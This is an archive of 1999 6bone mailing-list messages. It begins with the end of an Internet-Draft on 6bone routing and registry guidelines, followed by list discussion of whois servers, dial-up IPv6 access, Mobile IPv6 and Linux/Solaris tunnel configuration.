with other IPv6 networks, both in the newer TLA space and in the 6bone
pTLA space. Peering between new TLA's and the current 6Bone pTLA's MAY
occur, and details such as transit, and what routes are received by
each, are outside of general peering rules as stated in this draft, and
are left up to the members of those TLA's and pTLA's that are
establishing said peerings. However, it is expected that most of the
rules discussed here are equally applicable to new TLAs.

5. The 6Bone Registry

The 6Bone registry is a RIPE-181 database with IPv6 extensions used to
store information about the 6Bone, and its sites. The 6bone is
accessible at:

	<http://www.6bone.net/whois.html>)

Each 6Bone site MUST maintain the relevant entries in the 6Bone
registry. In particular, the following object MUST be present for all
6Bone leaf sites, pNLAs and pTLAs:

-IPv6-site: site description

-Inet6num: prefix delegation (one record MUST exist for each delegation)

-Mntner: contact info for site maintance/administration staff.

Other object MAY be maintained at the discretion of the sites such as
routing policy descriptors, person, or role objects.  The Mntner object
MUST make reference to a role or person object, but those MAY NOT
necessarily reside in the 6Bone registry. They can be stored within any
of the Internet registry databases (ARIN, APNIC, RIPE-NCC, etc.)

6. Guidelines for new sites joining the 6Bone

New sites joining the 6Bone should seek to connect to a transit pNLA or
a pTLA within their region, and preferably as close as possible to their
existing IPv4 physical and routing path for Internet service. The 6Bone
web site at <http://www.6bone.net> has various information and tools to
help find candidate 6bone networks.

Any site connected to the 6Bone MUST maintain a DNS server for forward
name lookups and reverse address lookups.  The joining site MUST
maintain the 6Bone objects relative to its site, as describe in
section 5.

The upstream provider MUST delegate the reverse address translation
zone in DNS to the joining site, or have an agreement in place to
perform primary DNS for that downstream. The provider MUST also create
the 6Bone registry inet6num object reflecting the delegated address
space.

Up to date informatino about how to join the 6Bone is available on the
6Bone Web site at <http://www.6bone.net>.

7. Guidelines for 6Bone pTLA sites

The following rules apply to qualify for a 6Bone pTLA allocation. It
should be recognized that holders of 6Bone pTLA allocations are expected
to provide production quality backbone network services for the 6Bone.

  1.  The pTLA Applicant must have a minimum of three (3) months
      qualifying experience as a 6Bone end-site or pNLA transit.
      During the entire qualifying period the Applicant must be
      operationally providing the following:

      a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.

      b. Fully maintained, and reliable, BGP4+ peering and connectivity
         between the Applicant's boundary router and the appropriate
         connection point into the 6Bone. This router must be IPv6
         pingable. This criteria is judged by members of the 6Bone
         Operations Group at the time of the Applicant's pTLA request.

      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
         entries for the Applicant's router(s) and at least one host
         system.

      d. A fully maintained, and reliable, IPv6-accessible system
         providing, at a mimimum, one or more web pages, describing the
         Applicant's IPv6 services.  This server must be IPv6 pingable.

  2.  The pTLA Applicant MUST have the ability and intent to provide
      "production-quality" 6Bone backbone service. Applicants must
      provide a statement and information in support of this claim.
      This MUST include the following:

      a. A support staff of two persons minimum, three preferable, with
         person attributes registered for each in the ipv6-site object
         for the pTLA applicant.

      b. A common mailbox for support contact purposes that all support
         staff have acess to, pointed to with a notify attribute in the
         ipv6-site object for the pTLA Applicant.

  3.  The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or
      focus of interest. Applicant must provide a statement and
      information in support this claim.

  4.  The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.

When an Applicant seeks to receive a pTLA allocation, it will apply to
the 6Bone Operations Group (see section 8 below) by providing to the
Group information in support of its claims that it meets the criteria
above.

8. 6Bone Operations Group

The 6Bone Operations Group is the group in charge of monitoring and
policing adherence to the current rules. Membership in the 6Bone
Operations Group is mandatory for, and restricted to, sites connected
to the 6Bone.

The 6Bone Operations Group is currently defined by those members of
the existing 6Bone mailing list who represent sites participating in
the 6Bone. Therefore it is incumbent on relevant site contacts to join
the 6Bone mailing list. Instructions on how to join the list are
maintained on the 6Bone web site at < http://www.6bone.net>.

9.  Common rules enforcement

Participation in the 6Bone is a voluntary and benevolent undertaking.
However, participating sites are expected to adhere to the rules and
policies described in this document in order to maintain the 6Bone as
a quality tool for the deployment of, and transition to, IPv6 protocols
and the products implementing them.

The following is in support of policing adherence to 6Bone rules and
policies:

  1.  Each pTLA site has committed to implement the 6Bone's rules and
      policies, and SHOULD try to ensure they are adhered to by sites
      within their administrative control, i.e. those to who prefixes
      under their respective pTLA prefix have been delegated.

  2.  When a site detects an issue, it SHOULD first use the 6Bone
      registry to contact the site maintainer and work the issue.

  3.  If nothing happens, or there is disagreement on what the right
      solution is, the issue SHOULD be brought to the 6Bone Operations
      Group.

  4.  When the problem is related to a product issue, the site(s)
      involved SHOULD be responsible for contacting  the product vendor
      and work toward its resolution.

  5.  When an issue causes major operational problems, backbone sites
      SHOULD decide to temporarily set filters in order to restore
      service.

10.  Security Considerations

The result of incorrect entries in routing tables is usually unreachable
sites.  Having guidelines to aggregate or reject routes will clean up
the routing tables. It is expected that using these rules and policies,
routing on the 6Bone will be less sensitive to denial of service attacks
due to misleading routes.

The 6Bone is an IPv6 testbed to assist in the evolution and deployment
of IPv6. Therefore, denial of service or packet disclosure are to be
expected.  However, it is the pTLA from where the attack originated who
has ultimate responsibility for isolating and fixing problems of this
nature. It is also every 6Bone site's responsibility to safely introduce
new test systems into the 6Bone, by placing them at a strategically safe
places which will have minimal impact on other 6Bone sites, should bugs
or misconfigurations occur.

11. References

[RFC 2373] Hinden, R. and S. Deering, "IP Version 6 Addressing
            Architecture", RFC 2373, July 1998.

[RFC 2471] Hinden, R., Fink, R. and J. Postel (deceased), "IPv6
            Testing Address Allocation", RFC 2471, December 1998.

[RFC 2546] Durand, A., Buclin, B, "6Bone Routing Practice",
            RFC 2546, March 1999

[RFC 2080] Malkin, G. and R. Minnear, "RIPng for IPv6", RFC 2080,
            January 1997.

[RFC 2119] Bradner, S., "Key words for use in RFCs to Indicate
            Requirement  Levels", BCP 14, RFC 2119, March 1997.

[RFC 2283] Bates, T., Chandra, R., Katz, D. and Y. Rekhter,
            "Multiprotocol Extensions for BGP-4", RFC 2283, March 1998.

[RIPE-181] Bates, T., Gerich, E., Joncheray, L., Jouanigot, J.,
            Karrenberg, D., Terpstra, M. and J.  Yu,  Representation
            of IP Routing Policies in a Routing Registry.  Technical
            Report ripe-181, RIPE, RIPE NCC, Amsterdam, Netherlands,
            October 1994.

12. Authors' Addresses

Rob Rockell
rrockell@sprint.net

Bob Fink
fink@es.net

-end


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Does anybody know how to get a freeware Whois server? just like the one for 6Bone


-- 
---------------------------------
      Yann-Ju Chu
    Telecommunication Laboratories
    ChungHwa Telecom Co., Ltd.
    TEL: +886 3 424-5681
    FAX: +886 3 424-4888
    http://www.chttl.com.tw
---------------------------------

From 6bone-owner  Mon Dec  6 22:48:10 1999
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Date: Tue, 7 Dec 1999 08:46:26 +0200 (EET)
From: Dimitrios Stergiou <dste@intranet.gr>
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: Whois server
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On Tue, 7 Dec 1999, Yann-Ju Chu wrote:

> Does anybody know how to get a freeware Whois server? just like the one for 6Bone

I don't know if the following is ok for you, but you can get a whois
server from RIPE , at the following address:

ftp://ftp.ripe.net/ripe/dbase/software/ripe-dbase-2.3.1.tar.gz

This one works like a charm, but it doesn't handle IPv6 (6bone) extensions

Take care,

-- hermes
The linuX-Files ... the source is out there ...


From 6bone-owner  Tue Dec  7 00:57:40 1999
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Subject: Re: 6bone Routing Guidelines I-D (HARDEN-03) cleanup for forwarding
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On Mon, 6 Dec 1999, Bob Fink wrote:

> ngtrans/6bone folk,
> 
> The following 6bone Routing Guidelines I-D (HARDEN-03) replace the current 
> draft (HARDEN-02) that recently passed WG last call. It is essentially only 

Many of the recent ipv6-site (including mine, JANET-UCAM-ASTR) are failing
to generate HTML pages; this is due at least in part because your
statement:
> 
> Up to date informatino about how to join the 6Bone is available on the
> 6Bone Web site at <http://www.6bone.net>.
> 
Isn't true; in particular, the vital link
"draft-ietf-ngtrans-6bone-registry-01.txt" goes nowhere.  I'd really
appreciate some accurate informatino (sic) on the precise syntax required
to make 6BONE objects work!

Cheers,
	Pete.


From 6bone-owner  Tue Dec  7 04:19:26 1999
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From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: dste@intranet.gr, yjchui@ms.chttl.com.tw
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
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  Dear all,

=> Does anybody know how to get a freeware Whois server? just like the one for 6Bone
=
=I don't know if the following is ok for you, but you can get a whois
=server from RIPE , at the following address:
=
=ftp://ftp.ripe.net/ripe/dbase/software/ripe-dbase-2.3.1.tar.gz
=
=This one works like a charm, but it doesn't handle IPv6 (6bone) extensions

  ...it *does* support the IPv6 address registry (see below).

    [ Btw, alongside the most recent IETF in W/DC we've already started
      the effort to extend/develop the tools for a future IPv6 *routing*
      registry, like RPSL, tunnel definition, etc...  Initially this is
      going to be persued in the framework of the RIPE Routing WG ]
  
> whois -h whois.ripe.net -r at-aconet-19990920

% Rights restricted by copyright. See http://www.ripe.net/db/dbcopyright.html

inet6num:    2001:0628::/35
netname:     AT-ACONET-19990920
descr:       ACOnet Sub-TLA block
country:     AT
admin-c:     WW144
tech-c:      WW144
tech-c:      WK42
tech-c:      EJ63
tech-c:      CP8-RIPE
status:      SUBTLA
notify:      Domain-Admin@UniVie.ac.at
mnt-by:      RIPE-NCC-HM-MNT
mnt-lower:   ACONET-LIR-MNT
changed:     hostmaster@ripe.net 19990920
source:      RIPE

  In case you're looking for the 6bone specific things, David Kessens'
  6bone-version is available by way of the 6Bone pages, specifically at
  
http://www.ip.qwest.net/~david/6bone/ripe-whois-tools+6bone-extensions-latest.tar.gz

  Cheers,
  Wilfried.
  (RIPE DataBase WG chair)
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB (&NIC) Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Tue Dec  7 05:02:48 1999
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From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: psb@ast.cam.ac.uk
CC: fink@es.net, ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU,
        woeber@cc.univie.ac.at
Message-ID: <009E2444.21B7C208.11@cc.univie.ac.at>
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=> Up to date informatino about how to join the 6Bone is available on the
=> 6Bone Web site at <http://www.6bone.net>.
=> 
=Isn't true; in particular, the vital link
="draft-ietf-ngtrans-6bone-registry-01.txt" goes nowhere.  I'd really
=appreciate some accurate informatino (sic) on the precise syntax required
=to make 6BONE objects work!

  Puzzled....
  Have you been a victim of an outdate local or cache copy?
  
  I've pulled the doc from the server only yesterday, and just re-checked,
  the link is working fine, although it points to
  
http://www.ip.qwest.net/~david/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
                                                                       ^^
  But I agree, there are some loose ends, still :-)
  Wilfried.
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB (&NIC) Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Common sense requires a common language...
 __________________________________________________________________________

From 6bone-owner  Tue Dec  7 05:10:49 1999
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Subject: Re: 6bone Routing Guidelines I-D (HARDEN-03) cleanup for forwarding
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On Tue, 7 Dec 1999, Wilfried Woeber, UniVie/ACOnet wrote:
>   Puzzled....
>   Have you been a victim of an outdate local or cache copy?
Go to http://www.6bone.net/ and click on ``6bone Registry Documentation''
which takes you to http://www.6bone.net/RIPE-registry.html where there's a
link to 
http://www.es.net/pub/internet-drafts/draft-ietf-ngtrans-6bone-registry-01.txt
                                                                        ^^
which is non-existant.
>   
>   I've pulled the doc from the server only yesterday, and just re-checked,
>   the link is working fine, although it points to
>   
> http://www.ip.qwest.net/~david/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
>                                                                        ^^
Ah, great, I can see that document, thanks.  Somebody needs to fix the
broken link, though.
>   But I agree, there are some loose ends, still :-)
>   Wilfried.

Thanks for your help,
	Pete.


From 6bone-owner  Tue Dec  7 10:46:50 1999
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To: Peter Bunclark <psb@ast.cam.ac.uk>,
        "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone Routing Guidelines I-D (HARDEN-03) cleanup for
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Cc: 6bone@ISI.EDU
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--=====================_102647042==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Peter,

At 01:10 PM 12/7/99 +0000, Peter Bunclark wrote:

>On Tue, 7 Dec 1999, Wilfried Woeber, UniVie/ACOnet wrote:
> >   Puzzled....
> >   Have you been a victim of an outdate local or cache copy?
>Go to http://www.6bone.net/ and click on ``6bone Registry Documentation''
>which takes you to http://www.6bone.net/RIPE-registry.html where there's a
>link to
>http://www.es.net/pub/internet-drafts/draft-ietf-ngtrans-6bone-registry-01.txt
>                                                                         ^^
>which is non-existant.

Absolutely true... sorry about that.


> >   I've pulled the doc from the server only yesterday, and just re-checked,
> >   the link is working fine, although it points to
> >
> > 
> http://www.ip.qwest.net/~david/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
> >                                                                        ^^
>Ah, great, I can see that document, thanks.  Somebody needs to fix the
>broken link, though.

It's fixed.


> >   But I agree, there are some loose ends, still :-)
> >   Wilfried.


Much of the user-level documentation for the registry is only minimal. I 
would very much appreciate suggestions of what folk think needs to be more 
clearly spelled out, etc. I've been planning a rewrite for a while, but 
haven't gotten around to it, so this is good impetus.

So... keep those suggestions coming in.


Thanks,

Bob

--=====================_102647042==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Peter,<br>
<br>
At 01:10 PM 12/7/99 +0000, Peter Bunclark wrote:<br>
<br>
<blockquote type=cite cite>On Tue, 7 Dec 1999, Wilfried Woeber,
UniVie/ACOnet wrote:<br>
&gt;&nbsp;&nbsp; Puzzled....<br>
&gt;&nbsp;&nbsp; Have you been a victim of an outdate local or cache
copy?<br>
Go to
<a href="http://www.6bone.net/" eudora="autourl">http://www.6bone.net/</a>
and click on ``6bone Registry Documentation''<br>
which takes you to <a href="http://www.6bone.net/RIPE-registry.html" eudora="autourl">http://www.6bone.net/RIPE-registry.html</a> where there's a<br>
link to <br>
<a href="http://www.es.net/pub/internet-drafts/draft-ietf-ngtrans-6bone-registry-01.txt" eudora="autourl">http://www.es.net/pub/internet-drafts/draft-ietf-ngtrans-6bone-registry-01.txt</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^^<br>
which is non-existant.</blockquote><br>
Absolutely true... sorry about that.<br>
<br>
<br>
<blockquote type=cite cite>&gt;&nbsp;&nbsp; I've pulled the doc from the server only yesterday, and just re-checked,<br>
&gt;&nbsp;&nbsp; the link is working fine, although it points to<br>
&gt;&nbsp;&nbsp; <br>
&gt; <a href="http://www.ip.qwest.net/~david/6bone/draft-ietf-ngtrans-6bone-registry-02.txt" eudora="autourl">http://www.ip.qwest.net/~david/6bone/draft-ietf-ngtrans-6bone-registry-02.txt</a><br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^^<br>
Ah, great, I can see that document, thanks.&nbsp; Somebody needs to fix the<br>
broken link, though.</blockquote><br>
It's fixed.<br>
<br>
<br>
<blockquote type=cite cite>&gt;&nbsp;&nbsp; But I agree, there are some loose ends, still :-)<br>
&gt;&nbsp;&nbsp; Wilfried.</blockquote><br>
<br>
Much of the user-level documentation for the registry is only minimal. I would very much appreciate suggestions of what folk think needs to be more clearly spelled out, etc. I've been planning a rewrite for a while, but haven't gotten around to it, so this is good impetus.<br>
<br>
So... keep those suggestions coming in.<br>
<br>
<br>
Thanks,<br>
<br>
Bob<br>
</html>

--=====================_102647042==_.ALT--


From 6bone-owner  Wed Dec  8 05:56:39 1999
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From: Stefan.Gasteiger@Gendorf.de
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To: 6bone@ISI.EDU
Subject: example router config 
Date: Wed, 8 Dec 1999 14:55:45 +0100 
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Does anyone out there know, where to find an example
configuration of a Cisco router with 2 or more v6 tunnels
and BGP4+ ?

If using BGP do we need an official AS number?

Thanks for your efforts!

Regards,

Stefan Gasteiger
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de




From 6bone-owner  Thu Dec  9 22:17:34 1999
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Can I join 6bone on  a dialup connection?

From 6bone-owner  Thu Dec  9 23:51:40 1999
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
To: 6bone@ISI.EDU
Subject: Mobility 
Date: Fri, 10 Dec 1999 08:50:52 +0100
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Hi all!

I need some clarification in MobileIPv6 implementation. When the mobile node
is connected to its home link it get IP address via adrress
autoconfiguration and care-of adrress when is connected to foreign link.
Here is a question.

When PC boots in home link it gets its "home" IP address. Then it shuts down
and moves to foreign link. On foreign link boots up and get "care-of"
address via autoconfiguration. How does that "mobile" node know that this is
a care-of address and not his home address.


Regards,
Tomaz

From 6bone-owner  Fri Dec 10 01:16:13 1999
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Date: Fri, 10 Dec 1999 16:18:57 +0700 (JAVT)
From: Thomas Wahyudi <1193016@student.unpar.ac.id>
To: rogelio_s@quickweb.com.ph
cc: 6bone@ISI.EDU
Subject: Re: ppp 6bone
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On Fri, 10 Dec 1999 rogelio_s@quickweb.com.ph wrote:

] Can I join 6bone on  a dialup connection?

yes, you can.
perharps you should try freenet6 service
http://www.freenet6.net

Best regard, from

####   # Thomas Wahyudi           UIN:535778
 # # # # 1193016@student.unpar.ac.id
 # ## ## http://student.unpar.ac.id/~1193016
-=-=-=-=-=PARAHYANGAN UNIVERSITY=-=-=-=-=-=-






From 6bone-owner  Fri Dec 10 01:53:48 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Aljaz Tomaz RDSI <aljaz@iskratel.si>
cc: 6bone@ISI.EDU
Subject: Re: Mobility 
In-reply-to: Your message of Fri, 10 Dec 1999 08:50:52 +0100.
             <7E8519F1A7C0D211B0D200A0C93AA60F3D2960@ntmail.iskratel.si> 
Date: Fri, 10 Dec 1999 10:53:08 +0100
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 In your previous mail you wrote:

   When PC boots in home link it gets its "home" IP address. Then it shuts down
   and moves to foreign link. On foreign link boots up and get "care-of"
   address via autoconfiguration. How does that "mobile" node know that this is
   a care-of address and not his home address.
   
=> we discussed about this problem at the last IETF meeting
in the zero-conf session. I believe there is no good way for the
software to know if the node is at home or in visit (same question
at a more abstrat level) without some config (for instance the home
address or prefix: a simple match will be enough) or a human interaction.
Then the answer is the mobile node knows because someone gives this info
to it, it cannot know by itself.

Regards

Francis.Dupont@inria.fr

PS: in order to find a home agent the mobile node needs something like
the home prefix then I believe the common solution is to put the home
prefix in a config file or to give it as a parameter to a management tool.

From 6bone-owner  Fri Dec 10 02:25:32 1999
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Date:   Fri, 10 Dec 1999 11:23:42 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: rogelio_s@quickweb.com.ph
Cc: 6bone@ISI.EDU
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On Fri, Dec 10, 1999 at 02:24:04PM +0800, rogelio_s@quickweb.com.ph wrote:
> Can I join 6bone on  a dialup connection?

Recent pppd package (e.g. http://freshmeat.net/appindex/1998/04/24/893447159.html )
should work with v6. I haven't tried though.

R.
-- 
Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk

From 6bone-owner  Fri Dec 10 19:32:56 1999
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Date: Fri, 10 Dec 1999 19:32:36 -0800
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        deering@cisco.com, Alain.Durand@imag.fr, tonyhain@microsoft.com
From: Bob Fink <fink@es.net>
Subject: Re: sunroof down until 12/14 - affects ngtrans and ipng
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At 06:10 PM 12/10/99 -0800, Erik Nordmark wrote:

>Sorry, I wasn't aware that things were going to be down that long
>and it is disappearing as we speak.
>
>Folks are going through our labs (where sunroof sits) and upgrading
>all the equipment to be y2k compliant.
>Thus the routers are down etc.
>
>Back up on Tuesday.
>
>I'll see if I can get them to get sunroof accessible sooner.


In the interim, many of our community are on the 6bone list, so if you need 
to reach either group you may find they will see a message sent to the 
6bone list (it's hosted by ISI).


Bob

--=====================_1075134==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 06:10 PM 12/10/99 -0800, Erik Nordmark wrote:<br>
<br>
<blockquote type=cite cite>Sorry, I wasn't aware that things were going
to be down that long<br>
and it is disappearing as we speak.<br>
<br>
Folks are going through our labs (where sunroof sits) and upgrading<br>
all the equipment to be y2k compliant.<br>
Thus the routers are down etc.<br>
<br>
Back up on Tuesday.<br>
<br>
I'll see if I can get them to get sunroof accessible
sooner.</blockquote><br>
<br>
In the interim, many of our community are on the 6bone list, so if you
need to reach either group you may find they will see a message sent to
the 6bone list (it's hosted by ISI). <br>
<br>
<br>
Bob<br>
</html>

--=====================_1075134==_.ALT--


From 6bone-owner  Sat Dec 11 09:57:57 1999
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Organization: Universita' degli Studi di Roma "Tor Vergata"
From: "Pierluigi Checchi" <p.checchi@agora.it>
To: <6bone@ISI.EDU>
Subject: Re: ppp 6bone
Date: Sat, 11 Dec 1999 18:59:09 +0100
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#   Reply-to msg from owner-6bone@ISI.EDU
#   submitted  10-Dec-1999 10:18:57, 
#   delivered to p.checchi@agora.it 10-Dec-1999 14:55:39, 
#   read Sat Dec 11 09:52:23  1999:


Ciao owner-6bone@ISI.EDU,

>  On Fri, 10 Dec 1999 rogelio_s@quickweb.com.ph wrote:
>  
>  ] Can I join 6bone on  a dialup connection?
>  
>  yes, you can.
>  perharps you should try freenet6 service
>  http://www.freenet6.net
>  


The msr NT stack is able to speak ipv6 on RAS ppp?
   
   
Saluti,
Pierluigi CHECCHI 



----------------------------------------------------Rome city, JN61FU--
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 politically incorrect random from fortune-it:

Culturista, s.m.:
        Gay in vacanza.

-----------------------------------------------------------------------

disclaimer:
this message is confidential and not intended to be public. 


From 6bone-owner  Sun Dec 12 21:41:24 1999
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Hi,

Can I know how to configure my laptop for updial up connection to 6bone
and
what are the requirements. =20


Regards,
Raymond Tee


=2D----Original Message-----
From: rogelio_s@quickweb.com.ph [mailto:rogelio_s@quickweb.com.ph]
Sent: Friday, December 10, 1999 2:24 PM
To: 6bone@ISI.EDU
Cc: rogelio_s@quickweb.com.ph
Subject: ppp 6bone


Can I join 6bone on  a dialup connection?


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From 6bone-owner  Mon Dec 13 17:16:52 1999
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Date: Mon, 13 Dec 1999 20:20:16 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: Jochen Friedrich <jochen@nwe.de>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6 over Token-Ring in Linux
In-Reply-To: <Pine.BSD.3.96.991202112909.9733A-100000@neptun.nwe.de>
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Hi! Jochen,

I am running Linux-2.2.12. I aplied the patch that you've recommended.
And this is what I got:

[lyonb://usr/src/linux#]> patch -p1 < ../tr_ipv6.patch
patching file drivers/net/ibmtr.c
Hunk #1 FAILED at 1621.
1 out of 1 hunk FAILED -- saving rejects to file
drivers/net/ibmtr.c.rej
patching file drivers/net/net_init.c
Hunk #1 succeeded at 524 (offset 1 line).
Hunk #2 FAILED at 587.
Hunk #3 FAILED at 642.
2 out of 3 hunks FAILED -- saving rejects to file
drivers/net/net_init.c.rej
patching file include/linux/if_tr.h
patch: **** malformed patch at line 59: LINUX

What did I do wrong?

BTW, Are you the Jochen that wrote this patch? If yes, and you want
the details of the accident. I can send them to you.

Thanks ahead,

Bye,

Herm

---------------------------------------
Herman Strom - Academic Computing Dept.
 Touro College <http://www.touro.edu/>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://hermstrom.tripod.com/>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
---------------------------------------

On Thu, 2 Dec 1999, Jochen Friedrich wrote:

Date: Thu, 2 Dec 1999 11:33:31 +0100 (CET)
From: Jochen Friedrich <jochen@nwe.de>
To: Herman Strom <hermans@touro.edu>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6 over Token-Ring in Linux

Hi Herman,

> Does anyone know anything about configuring IPv6 over Token-Ring in
> Linux. Any information would be appreciated.

On http://www.linuxtr.net, there is a patch for 2.2.12 to allow IPv6 over
Token Ring.

Cheers,
Jochen


From 6bone-owner  Wed Dec 15 00:27:10 1999
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From: tkuiper@tobit.com
Message-Id: <199912150827.AAA05718@tnt.isi.edu>
Subject: Tunelling with Solaris 8 <-> Linux
To: 6bone@ISI.EDU
Date: 15 Dec 99 08:27:10 UT
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--------------1DD2510B41FE
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Hi all,

I tryed to link a Solaris 8 box (with buildin IPv6) to my Linux tunnel.
However its not working correctly (I see data on the interface but there
is nothing coming back if I send a ping and stuff).

Solaris 8 box config:

$> cat /etc/hostname6.iprb0
addif 3ffe:400:380:1234::1/128 up

$> cat /etc/hostname6.ip.tun0
tsrc 206.191.192.57 tdst 62.52.79.1 up

$> /usr/sbin/route add -inet6 2000::/3 fe80::3e34:4f01
add net 2000::/3
$> 

$> cat /etc/inet/ndpd.conf
if ip.tun0 AdvSendAdvertisements 1
prefix 3ffe:400:380:1234::/64 ip.tun0

Linux system script:

#!/bin/sh
PATH=3D/sbin:$PATH

case "$1" in
    start)
        echo "Starting v6..."
        insmod ipv6
        ifconfig eth1 add 3ffe:400:380::1

        iptunnel add v6_6bone remote 128.176.191.66 mode sit ttl 64
        ifconfig v6_6bone up
        route add -A inet6 2000::/3 dev v6_6bone

        iptunnel add v6_sol8 remote 206.191.192.57 mode sit ttl 64
        ifconfig v6_sol8 up
        route add -A inet6 3ffe:400:380:1234::1 dev v6_sol8

        echo 1 >/proc/sys/net/ipv4/ip_forward
        echo 1 >/proc/sys/net/ipv6/conf/all/forwarding

    ;;
    stop)
        echo -n "Stopping v6:"
        ifconfig v6_6bone down
        ifconfig v6_sol8 down
        ifconfig eth1 del 3ffe:400:380::1
    ;;
    status)
        iptunnel
        /usr/inet6/bin/ping -q -c 1 -a inet6 3ffe:400:380::1
        /usr/inet6/bin/ping -q -c 1 -a inet6 3ffe:400:380:1234::1
    ;;
    *)
        echo "Usage: (start|stop|status)"
esac


what I see on this interface of data:
proto src-addr        src-port dest-addr       dest-port size   if
IPV6  206.191.192.57  0        62.52.79.1      0         112    v6_sol8


The linux configuration of the tunnel works with 3 other tunnels
not mentioned above.

Any ideas or advices what's wrong?


Gruss/Regards,
Thomas


Thomas Kuiper        |   tkuiper@tobit.com   |  www.tobit.com     __
Core Development     |   TK3680-RIPE         |                   /__/\
Tobit Software GmbH  |   ICQ #8345483        |  ask your server. \__\/



To: ipng@sunroof.eng.sun.com
    6bone@isi.edu

--------------1DD2510B41FE--


From 6bone-owner  Wed Dec 15 22:25:11 1999
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From: Raizada Manoj <Manoj.Raizada@sisl.co.in>
To: 6bone@ISI.EDU
Subject: RE: Tunelling with Solaris 8 <-> Linux
Date: Thu, 16 Dec 1999 11:56:25 +0530
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Hi all 

I am trying to get the Linux freeware with IPV6 implementation. Could
someone help me to get the source code with the installation guidelines.

Thanks

Manoj

	-----Original Message-----
	From:	tkuiper@tobit.com [SMTP:tkuiper@tobit.com]
	Sent:	Wednesday, December 15, 1999 1:57 PM
	To:	6bone@ISI.EDU
	Subject:	Tunelling with Solaris 8 <-> Linux

	Hi all,

	I tryed to link a Solaris 8 box (with buildin IPv6) to my Linux
tunnel.
	However its not working correctly (I see data on the interface
but there
	is nothing coming back if I send a ping and stuff).

	Solaris 8 box config:

	$> cat /etc/hostname6.iprb0
	addif 3ffe:400:380:1234::1/128 up

	$> cat /etc/hostname6.ip.tun0
	tsrc 206.191.192.57 tdst 62.52.79.1 up

	$> /usr/sbin/route add -inet6 2000::/3 fe80::3e34:4f01
